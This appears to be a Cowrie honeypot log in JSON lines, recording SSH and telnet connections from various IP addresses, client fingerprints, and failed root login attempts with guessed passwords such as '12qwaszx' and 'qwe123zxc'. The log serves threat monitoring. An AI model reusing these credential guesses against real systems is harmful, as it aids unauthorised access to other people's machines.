{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:01.667485Z","src_ip":"103.172.78.219","session":"6750289a9cc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42226,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fa008f6be86","protocol":"telnet","message":"New connection: 192.119.13.58:42226 (10.17.0.5:23) [session: 5fa008f6be86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:01.772609Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"ghbrjk","message":"login attempt [root/ghbrjk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:02.474832Z","src_ip":"103.172.78.219","session":"6750289a9cc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:03.744128Z","src_ip":"103.172.78.219","session":"6750289a9cc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.177.27","src_port":47666,"dst_ip":"10.17.0.5","dst_port":22,"session":"42b410e67ecd","protocol":"ssh","message":"New connection: 43.134.177.27:47666 (10.17.0.5:22) [session: 42b410e67ecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:04.255347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:04.260365Z","src_ip":"43.134.177.27","session":"42b410e67ecd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:04.491698Z","src_ip":"43.134.177.27","session":"42b410e67ecd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2255","message":"login attempt [root/2255] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:05.448105Z","src_ip":"43.134.177.27","session":"42b410e67ecd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:06.683723Z","src_ip":"43.134.177.27","session":"42b410e67ecd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":35344,"dst_ip":"10.17.0.5","dst_port":22,"session":"208953c21e9a","protocol":"ssh","message":"New connection: 103.15.222.183:35344 (10.17.0.5:22) [session: 208953c21e9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:12.662898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:12.671259Z","src_ip":"103.15.222.183","session":"208953c21e9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:12.913168Z","src_ip":"103.15.222.183","session":"208953c21e9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a7777777","message":"login attempt [root/a7777777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:13.651633Z","src_ip":"103.15.222.183","session":"208953c21e9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:14.896013Z","src_ip":"103.15.222.183","session":"208953c21e9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.126.224.134","src_port":39910,"dst_ip":"10.17.0.5","dst_port":22,"session":"52d87e89c3d9","protocol":"ssh","message":"New connection: 59.126.224.134:39910 (10.17.0.5:22) [session: 52d87e89c3d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:14.924555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:14.930074Z","src_ip":"59.126.224.134","session":"52d87e89c3d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:15.156095Z","src_ip":"59.126.224.134","session":"52d87e89c3d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"samsun","message":"login attempt [root/samsun] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:16.021408Z","src_ip":"59.126.224.134","session":"52d87e89c3d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54858,"dst_ip":"10.17.0.5","dst_port":23,"session":"41a71e98f290","protocol":"telnet","message":"New connection: 192.119.13.58:54858 (10.17.0.5:23) [session: 41a71e98f290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:16.859309Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:17.228794Z","src_ip":"59.126.224.134","session":"52d87e89c3d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.58101177215576,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:20.124432Z","src_ip":"192.119.13.58","session":"8fa757eecb7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.298643827438354,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:39.766225Z","src_ip":"192.119.13.58","session":"bab1117c96d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.105.130.18","src_port":49400,"dst_ip":"159.203.135.109","dst_port":22,"session":"55a591c14271","protocol":"ssh","message":"New connection: 77.105.130.18:49400 (159.203.135.109:22) [session: 55a591c14271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:41.598938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:41.603803Z","src_ip":"77.105.130.18","session":"55a591c14271","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:41.703146Z","src_ip":"77.105.130.18","session":"55a591c14271","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"glass","message":"login attempt [root/glass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:42.131443Z","src_ip":"77.105.130.18","session":"55a591c14271","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.86199641227722,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:42.634467Z","src_ip":"192.119.13.58","session":"5fa008f6be86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:43.233045Z","src_ip":"77.105.130.18","session":"55a591c14271","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.177.27","src_port":51452,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6b805578ad4","protocol":"ssh","message":"New connection: 43.134.177.27:51452 (10.17.0.5:22) [session: c6b805578ad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:43.457457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:43.461997Z","src_ip":"43.134.177.27","session":"c6b805578ad4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:43.710480Z","src_ip":"43.134.177.27","session":"c6b805578ad4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dsfdhjlkljkjhghfgdfdgjhkfdgfhghfgfaiziqiqizhong","message":"login attempt [root/dsfdhjlkljkjhghfgdfdgjhkfdgfhghfgfaiziqiqizhong] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:44.726631Z","src_ip":"43.134.177.27","session":"c6b805578ad4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":34706,"dst_ip":"10.17.0.5","dst_port":22,"session":"f059dd2850ae","protocol":"ssh","message":"New connection: 43.135.177.217:34706 (10.17.0.5:22) [session: f059dd2850ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:45.488984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:45.493136Z","src_ip":"43.135.177.217","session":"f059dd2850ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:45.560891Z","src_ip":"43.135.177.217","session":"f059dd2850ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qwaszx","message":"login attempt [root/12qwaszx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:45.867066Z","src_ip":"43.135.177.217","session":"f059dd2850ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:45.976671Z","src_ip":"43.134.177.27","session":"c6b805578ad4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59814,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7a87c772215","protocol":"telnet","message":"New connection: 192.119.13.58:59814 (10.17.0.5:23) [session: f7a87c772215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:46.108480Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:46.938837Z","src_ip":"43.135.177.217","session":"f059dd2850ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46726,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7546f157d92","protocol":"telnet","message":"New connection: 192.119.13.58:46726 (10.17.0.5:23) [session: e7546f157d92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:49.838381Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":43438,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab699fc98664","protocol":"ssh","message":"New connection: 35.225.56.202:43438 (10.17.0.5:22) [session: ab699fc98664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:49.948981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:49.953637Z","src_ip":"35.225.56.202","session":"ab699fc98664","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:49.989110Z","src_ip":"35.225.56.202","session":"ab699fc98664","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123zxc","message":"login attempt [root/qwe123zxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:50.165092Z","src_ip":"35.225.56.202","session":"ab699fc98664","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49458,"dst_ip":"10.17.0.5","dst_port":23,"session":"f87cc34e09e4","protocol":"telnet","message":"New connection: 192.119.13.58:49458 (10.17.0.5:23) [session: f87cc34e09e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:50.381348Z"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:51.203611Z","src_ip":"35.225.56.202","session":"ab699fc98664","protocol":"ssh"}
